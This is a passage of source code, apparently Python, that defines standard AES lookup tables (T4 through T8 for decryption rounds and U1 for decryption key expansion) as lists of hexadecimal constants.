T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c ]
# Transformations for decryption
T5 = [ 0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
# Transformations for decryption key expansion
U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
